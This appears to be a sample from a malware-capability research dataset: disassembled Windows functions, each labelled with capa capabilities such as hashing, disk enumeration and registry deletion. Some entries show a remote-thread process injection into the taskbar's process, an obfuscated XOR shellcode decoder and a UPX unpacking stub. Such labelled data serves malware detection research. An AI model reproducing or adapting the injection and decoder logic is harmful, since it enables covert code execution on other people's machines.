joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412440
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov edi, eax
xor eax, eax
push ebp
push 0x4125bc
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, esi
call fcn.004029e4
push 0
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call sub.advapi32.dll_CryptAcquireContextA
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x8004
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CryptCreateHash
test eax, eax
je 0x412588
push 0
lea eax, [ebp - 0x18]
mov edx, edi
call fcn.00403188
mov eax, dword [ebp - 0x18]
call fcn.004031e4
inc eax
add eax, eax
push eax
push edi
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptHashData
test eax, eax
je 0x412588
mov dword [ebp - 0x10], 0x14
push 0x14
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x41241c]
call fcn.00403b08
add esp, 4
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 2
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptGetHashParam
test eax, eax
je 0x412588
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptDestroyHash
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CryptReleaseContext
mov eax, dword [ebp - 0x10]
dec eax
test eax, eax
jl 0x412560
inc eax
mov dword [ebp - 0x14], eax
xor edi, edi
mov eax, dword [ebp - 0xc]
add bl, byte [eax + edi]
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + edi]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x24]
xor ecx, ecx
mov eax, 0x4125d4
call fcn.00404b78
mov edx, dword [ebp - 0x1c]
mov eax, esi
call fcn.00402c68
inc edi
dec dword [ebp - 0x14]
jne 0x412529
lea eax, [ebp - 0x28]
push eax
xor eax, eax
mov al, bl
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x24]
xor ecx, ecx
mov eax, 0x4125d4
call fcn.00404b78
mov edx, dword [ebp - 0x28]
mov eax, esi
call fcn.00402c68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4125c3
lea eax, [ebp - 0x28]
call fcn.004029e4
lea eax, [ebp - 0x1c]
call fcn.004029e4
lea eax, [ebp - 0x18]
call fcn.0040309c
lea eax, [ebp - 0xc]
mov edx, dword [0x41241c]
call fcn.00403b14
ret
Function at 0x413960
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x413a35
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004029e4
lea eax, [ebp - 4]
mov edx, pe_nt_image_headers32
call fcn.00402fe0
mov dword [ebp - 8], 0xff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
call fcn.00402eac
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x413a1f
mov dword [ebp - 0xc], 0xff
mov dword [ebp - 0x10], 0xff
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 4]
call fcn.00402eac
push eax
push 0
call sub.advapi32.dll_LookupAccountNameA
test eax, eax
je 0x413a1f
lea eax, [ebp - 0x118]
push eax
call sub.advapi32.dll_IsValidSid
test eax, eax
je 0x413a1f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x118]
push eax
call sub.advapi32.dll_ConvertSidToStringSidA
mov eax, ebx
mov edx, dword [ebp - 0x18]
call fcn.00402bd0
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_GlobalFree
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x413a3c
lea eax, [ebp - 4]
call fcn.004029e4
ret
Function at 0x4143a4
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4144ff
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x4144e4
push 0x414510
push 0x41451c
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x18], eax
push 0x41452c
push 0x41451c
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x14], eax
push 0x414538
push 0x41451c
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x10], eax
push 0x40
push 0x3000
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00401448
mov eax, dword [ebp - 0x1c]
call fcn.00402c60
inc eax
push eax
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
mov dword [ebp - 0xc], esi
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.00401448
mov eax, dword [ebp - 0x20]
call fcn.00402c60
inc eax
push eax
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.00401448
mov eax, dword [ebp - 0x24]
call fcn.00402e58
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x40
push 0x3000
push 0x10
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp dword [ebp - 4], 0x10
jne 0x4144e4
push 0x40
push 0x3000
push 0x1f4
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x1f4
push 0x414370
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp dword [ebp - 4], 0x1f4
jne 0x4144e4
lea eax, [ebp - 8]
push eax
push 0
push esi
push edi
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414506
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00402a08
ret

Function at 0x414dc8
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x198]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x414e35
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.00402e58
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x414e2b
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x414e24
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, dword [ebp - 8]
call fcn.00402bd0
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x414e12
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x414e4a
call sub.wsock32.dll_WSACleanup
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415a3c
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.00402e48
xor eax, eax
push ebp
push 0x415aff
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, dword [ebp - 4]
mov al, 0x5c
call fcn.004159d8
mov esi, eax
test esi, esi
jle 0x415ae4
lea eax, [ebp - 8]
push eax
mov ecx, esi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
lea eax, [ebp - 0xc]
push eax
push 0x20006
push 0
mov eax, dword [ebp - 8]
call fcn.00402e58
push eax
push edi
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x415ae4
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00402c60
mov ecx, eax
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 8]
call fcn.00402e58
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegDeleteKeyA
test eax, eax
sete bl
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415b06
lea eax, [ebp - 8]
mov edx, 2
call fcn.00402a08
ret
Function at 0x421518
Capabilities:
Get disk information
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x230], ecx
mov dword [ebp - 0x228], ecx
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4216af
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.004029e4
mov dword [esi], 0
mov dword [esi + 4], 0
mov eax, 0x200
call fcn.004011dc
mov ebx, eax
push ebx
push 0x200
call sub.kernel32.dll_GetLogicalDriveStringsA
push 1
call sub.kernel32.dll_SetErrorMode
jmp 0x421688
lea eax, [ebp - 0x11d]
xor ecx, ecx
mov edx, 0x105
call fcn.00401b3c
lea eax, [ebp - 0x222]
xor ecx, ecx
mov edx, 0x105
call fcn.00401b3c
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0x105
lea eax, [ebp - 0x222]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x105
lea eax, [ebp - 0x11d]
push eax
push ebx
call sub.kernel32.dll_GetVolumeInformationA
lea eax, [ebp - 0x228]
lea edx, [ebp - 0x11d]
mov ecx, 0x105
call fcn.00402c48
cmp dword [ebp - 0x228], 0
jne 0x42161f
push esi
push edi
mov esi, 0x4216c0
lea edi, [ebp - 0x11d]
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop edi
pop esi
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.kernel32.dll_GetDiskFreeSpaceExA
mov eax, dword [esi]
mov edx, dword [esi + 4]
add eax, dword [ebp - 8]
adc edx, dword [ebp - 4]
mov dword [esi], eax
mov dword [esi + 4], edx
push dword [edi]
lea eax, [ebp - 0x22c]
mov edx, ebx
call fcn.00402bd0
push dword [ebp - 0x22c]
push 0x4217d0
push ebx
call sub.kernel32.dll_GetDriveTypeA
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x230]
call fcn.00406cac
push dword [ebp - 0x230]
push 0x4217d0
mov eax, edi
mov edx, 5
call fcn.00402d20
add ebx, 4
cmp byte [ebx], 0
jne 0x421581
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4216b6
lea eax, [ebp - 0x230]
mov edx, 3
call fcn.00402a08
ret
Function at 0x4217d4
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2f
push 0
push 0
dec ecx
jne 0x4217dc
push ecx
xor eax, eax
push ebp
push 0x421b6d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xa
call sub.kernel32.dll_Sleep
push 0x421b80
mov eax, dword [0x4274c8]
push dword [eax + 8]
push 0x421ba0
push 0x421bac
lea eax, [ebp - 4]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
call fcn.004154fc
lea eax, [ebp - 0x18]
mov edx, dword [0x429ddc]
call fcn.00402a7c
mov eax, dword [ebp - 0x18]
mov edx, 0x421bb8
call fcn.00402da4
jne 0x421853
lea eax, [ebp - 0x18]
call fcn.004068e4
jmp 0x4218d2
mov eax, dword [ebp - 0x18]
mov edx, 0x421bc8
call fcn.00402da4
jne 0x42186c
lea eax, [ebp - 0x18]
call fcn.00406858
jmp 0x4218d2
mov eax, dword [ebp - 0x18]
mov edx, 0x421bd8
call fcn.00402da4
jne 0x4218a0
lea edx, [ebp - 0x15c]
mov eax, 0x421bec
call fcn.0040606c
mov edx, dword [ebp - 0x15c]
lea eax, [ebp - 0x18]
mov ecx, 0x421bfc
call fcn.00402cac
jmp 0x4218d2
mov eax, dword [ebp - 0x18]
mov edx, 0x421c08
call fcn.00402da4
jne 0x4218d2
lea edx, [ebp - 0x160]
mov eax, 0x421c1c
call fcn.0040606c
mov edx, dword [ebp - 0x160]
lea eax, [ebp - 0x18]
mov ecx, 0x421bfc
call fcn.00402cac
mov eax, dword [ebp - 0x18]
call fcn.00402c60
cmp eax, 3
jge 0x4218e7
lea eax, [ebp - 0x18]
call fcn.0040699c
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x421a59
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x164]
mov ecx, 0x421c2c
mov edx, dword [ebp - 0x18]
call fcn.00402cac
mov eax, dword [ebp - 0x164]
call fcn.00402e58
push eax
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x14], eax
lea eax, [ebp - 8]
call fcn.004029e4
lea eax, [ebp - 0xc]
call fcn.004029e4
cmp dword [ebp - 0x14], 0xffffffff
je 0x421a42
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x12c]
mov ecx, 0x104
call fcn.00402c48
mov eax, dword [ebp - 0x10]
mov edx, 0x421c38
call fcn.00402da4
je 0x421a24
test byte [ebp - 0x158], 0x10
je 0x42198e
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x421ba0
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402d20
jmp 0x421a24
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x421ba0
mov eax, dword [ebp - 0x138]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x168]
call fcn.00406cac
push dword [ebp - 0x168]
push 0x421ba0
lea eax, [ebp - 0x178]
lea edx, [ebp - 0x12c]
mov ecx, 0x104
call fcn.00402c48
mov ecx, dword [ebp - 0x178]
lea eax, [ebp - 0x174]
mov edx, dword [ebp - 0x18]
call fcn.00402cac
mov eax, dword [ebp - 0x174]
lea edx, [ebp - 0x170]
call fcn.00404c84
mov eax, dword [ebp - 0x170]
call fcn.00402e58
mov edx, eax
lea eax, [ebp - 0x16c]
call fcn.00402bd0
push dword [ebp - 0x16c]
push 0x421ba0
lea eax, [ebp - 0xc]
mov edx, 7
call fcn.00402d20
lea eax, [ebp - 0x158]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x421942
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x421a60
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_FindClose
ret
Function at 0x422e40
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x422e49
mov eax, dword [ebp - 4]
add esp, 0xfffffe80
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x8184], ebx
mov dword [ebp - 0x8180], ebx
mov dword [ebp - 0x817c], ebx
mov dword [ebp - 0x8178], ebx
mov dword [ebp - 0x8170], ebx
mov dword [ebp - 0x8174], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00402e48
mov eax, dword [ebp + 8]
call fcn.00402e48
xor eax, eax
push ebp
push 0x423153
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00402a7c
lea eax, [ebp - 0x8170]
call fcn.00406128
push dword [ebp - 0x8170]
push 0x42316c
call sub.kernel32.dll_GetTickCount
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x8174]
call fcn.00406cac
push dword [ebp - 0x8174]
push 0x423178
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
xor eax, eax
push ebp
push 0x422fc7
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x168]
call fcn.00401820
mov edx, 1
lea eax, [ebp - 0x168]
call fcn.00401e60
call fcn.004012c0
xor esi, esi
cmp edi, esi
jle 0x422fba
lea edx, [ebp - 0x8169]
mov ecx, 0x8001
mov eax, dword [ebp - 4]
call fcn.00408c14
mov ebx, eax
add esi, ebx
lea eax, [ebp - 0x1c]
mov edx, ebx
call fcn.00402fe0
lea eax, [ebp - 0x1c]
call fcn.00402eac
lea edx, [ebp - 0x8169]
mov ecx, ebx
call fcn.004045ac
lea ecx, [ebp - 0x8178]
mov edx, 0x423188
mov eax, dword [ebp - 0x1c]
call fcn.00406fc4
mov edx, dword [ebp - 0x8178]
lea eax, [ebp - 0x1c]
call fcn.00402a7c
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
call fcn.00402eac
mov edx, eax
mov ecx, ebx
lea eax, [ebp - 0x168]
call fcn.00401998
call fcn.004012c0
mov dword [ebp - 0xc], ebx
cmp edi, esi
jg 0x422f3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x423051
cmp byte [ebp - 0xd], 0
jne 0x423118
lea eax, [ebp - 0x168]
call fcn.004019b8
call fcn.004012c0
push 0
mov eax, dword [ebp - 0x14]
call fcn.00402e58
push eax
mov eax, dword [ebp - 8]
call fcn.00402e58
mov ebx, eax
push ebx
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x423118
push 0x423198
mov eax, dword [0x4274c8]
push dword [eax + 0xb0]
push 0x4231f0
mov edx, ebx
lea eax, [ebp - 0x8180]
call fcn.00402bd0
push dword [ebp - 0x8180]
push 0x4231ac
push 0x4231b8
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00402d20
push 0x4231c4
push dword [ebp + 8]
push 0x4231ac
push 0x4231dc
push 0x4231ac
push 0x4231b8
lea eax, [ebp - 0x8184]
mov edx, 6
call fcn.00402d20
mov edx, dword [ebp - 0x8184]
mov eax, dword [ebp - 4]
call fcn.00408d54
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.00408d54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42315a
lea eax, [ebp - 0x8184]
mov edx, 6
call fcn.00402a08
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00402a08
lea eax, [ebp - 8]
call fcn.004029e4
lea eax, [ebp + 8]
call fcn.004029e4
ret
Function at 0x4238c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x4238c9
mov eax, dword [ebp - 4]
add esp, 0xffffffe0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x8024], edx
mov dword [ebp - 0x8018], edx
mov dword [ebp - 0x801c], edx
mov dword [ebp - 0x8020], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x423aee
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x801c]
call fcn.00406970
push dword [ebp - 0x801c]
call sub.kernel32.dll_GetTickCount
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x8020]
call fcn.00406cac
push dword [ebp - 0x8020]
push 0x423b08
lea eax, [ebp - 0x8018]
mov edx, 3
call fcn.00402d20
mov eax, dword [ebp - 0x8018]
call fcn.00402e58
mov esi, eax
xor eax, eax
push ebp
push 0x423a88
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push esi
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x8011]
xor ecx, ecx
mov edx, 0x8001
call fcn.00401b3c
lea edx, [ebp - 0x8011]
mov ecx, 0x8001
mov eax, dword [ebp - 4]
call fcn.00408c14
mov ebx, eax
test ebx, ebx
jle 0x423a36
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00402fe0
lea eax, [ebp - 8]
call fcn.00402eac
lea edx, [ebp - 0x8011]
mov ecx, ebx
call fcn.004045ac
lea ecx, [ebp - 0x8024]
mov edx, 0x423b18
mov eax, dword [ebp - 8]
call fcn.00406dd0
mov edx, dword [ebp - 0x8024]
lea eax, [ebp - 8]
call fcn.00402a7c
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00402c60
push eax
lea eax, [ebp - 8]
call fcn.00402eac
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, ebx
cdq
sub dword [ebp + 8], eax
sbb dword [ebp + 0xc], edx
cmp dword [ebp + 0xc], 0
jne 0x423a30
cmp dword [ebp + 8], 0
ja 0x423985
jmp 0x423a36
jg 0x423985
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
cmp byte [eax + 0x10], 0
je 0x423a50
mov eax, dword [ebp - 4]
call fcn.00408af0
mov eax, dword [ebp - 4]
call fcn.004021bc
mov eax, dword [0x427588]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_CloseHandle_1
push 0
push 0
push 0
mov edx, 0x423b1c
mov ecx, esi
xor eax, eax
call fcn.004064b0
call fcn.00415b4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x423ac8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x423af5
lea eax, [ebp - 0x8024]
mov edx, 4
call fcn.00402a08
lea eax, [ebp - 8]
call fcn.004029e4
ret
Function at 0x4255e8
Capabilities:
Find taskbar

Disassembly:
push ecx
push esp
push 0
push 0x425614
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [esp]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
call fcn.004143a4
pop edx
ret
Function at 0x10037919
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x10037928
pop dword [ebp - 0x4c]
mov eax, 0x743b0e75
add eax, 0x9bc86ab3
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xd6a4e249
add dword [ebp - 0x5c], 0x77ad6302
mov dword [ebp - 0x58], 0xc8c8b5e4
sub dword [ebp - 0x58], 0x9695699f
mov dword [ebp - 0x54], 0x2306a617
sub dword [ebp - 0x54], 0xd6ba61e9
mov dword [ebp - 0x50], 0x38e75e9a
sub dword [ebp - 0x50], 0x38e75e9a
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x171a365e
sub eax, 0x715677e
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x84a215f1
add dword [ebp - 0x5c], 0xefd05365
mov dword [ebp - 0x58], 0x23d86504
sub dword [ebp - 0x58], 0xe26c038f
mov dword [ebp - 0x54], 0x81120052
sub dword [ebp - 0x54], 0x1da293e6
mov dword [ebp - 0x50], 0x6c89ed97
sub dword [ebp - 0x50], 0x6c89ed97
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c8d3
push 0
call eax
mov ecx, 0x59285053
sub ecx, 0x59281548
xor ebx, ebx
add ebx, eax
mov edi, 0x1361d8df
add edi, 0xfca3db21
add edi, dword [ebp - 0x4c]
mov edx, 0xd3e75f55
sub dword [ebp - 0x14], eax
mov esi, dword [edi]
add dword [ebp - 0x3c], edi
xor esi, edx
xor dword [ebp - 0x14], 0x3dc67ab5
mov dword [ebx], esi
add dword [ebp - 0x2c], ecx
add ebx, 0x4f23ff9c
sub ebx, 0x4f23ff98
add edi, 0x3cf2e8f8
add edi, 0xc30d170c
loop 0x10037a41
add eax, 0xc6c83f7e
add eax, 0x39389f81
xor ebx, ebx
add ebx, eax
add eax, 0x7179a837
add eax, 0x8e8657ce
mov ecx, 0x2ae67ec3
sub ecx, 0x1ae67ec3
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x1f45b50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x512000]
push edi
or ebp, 0xffffffff
jmp 0x1f45b72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1f45b79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1f45b68
mov eax, 1
add ebx, ebx
jne 0x1f45b8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1f45b9c
jne 0x1f45bbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1f45bbb
dec eax
add ebx, ebx
jne 0x1f45ba8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1f45b80
add ebx, ebx
jne 0x1f45bb7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1f45c0d
xor ecx, ecx
sub eax, 3
jb 0x1f45bd3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1f45c42
sar eax, 1
mov ebp, eax
jmp 0x1f45bde
add ebx, ebx
jne 0x1f45bde
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1f45bac
inc ecx
add ebx, ebx
jne 0x1f45bec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1f45bac
add ebx, ebx
jne 0x1f45bf9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1f45bee
jne 0x1f45c0a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1f45bee
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1f45c2c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1f45c1e
jmp 0x1f45b6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1f45c2c
add edi, ecx
jmp 0x1f45b6e
pop esi
mov edi, esi
mov ecx, 0x11
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1f45c4a
cmp byte [edi], 0
jne 0x1f45c4a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1f45c4f
lea edi, [esi + 0x1b43000]
mov eax, dword [edi]
or eax, eax
je 0x1f45cbe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1b6ce8c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1b6cee4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1f45c7c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1b6ceec]
or eax, eax
je 0x1f45cb8
mov dword [ebx], eax
add ebx, 4
jmp 0x1f45c99
call dword [esi + 0x1b6cee8]
mov ebp, dword [esi + 0x1b6cef0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1cf]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1f45cf2
sub esp, 0xffffff80
jmp section.UPX0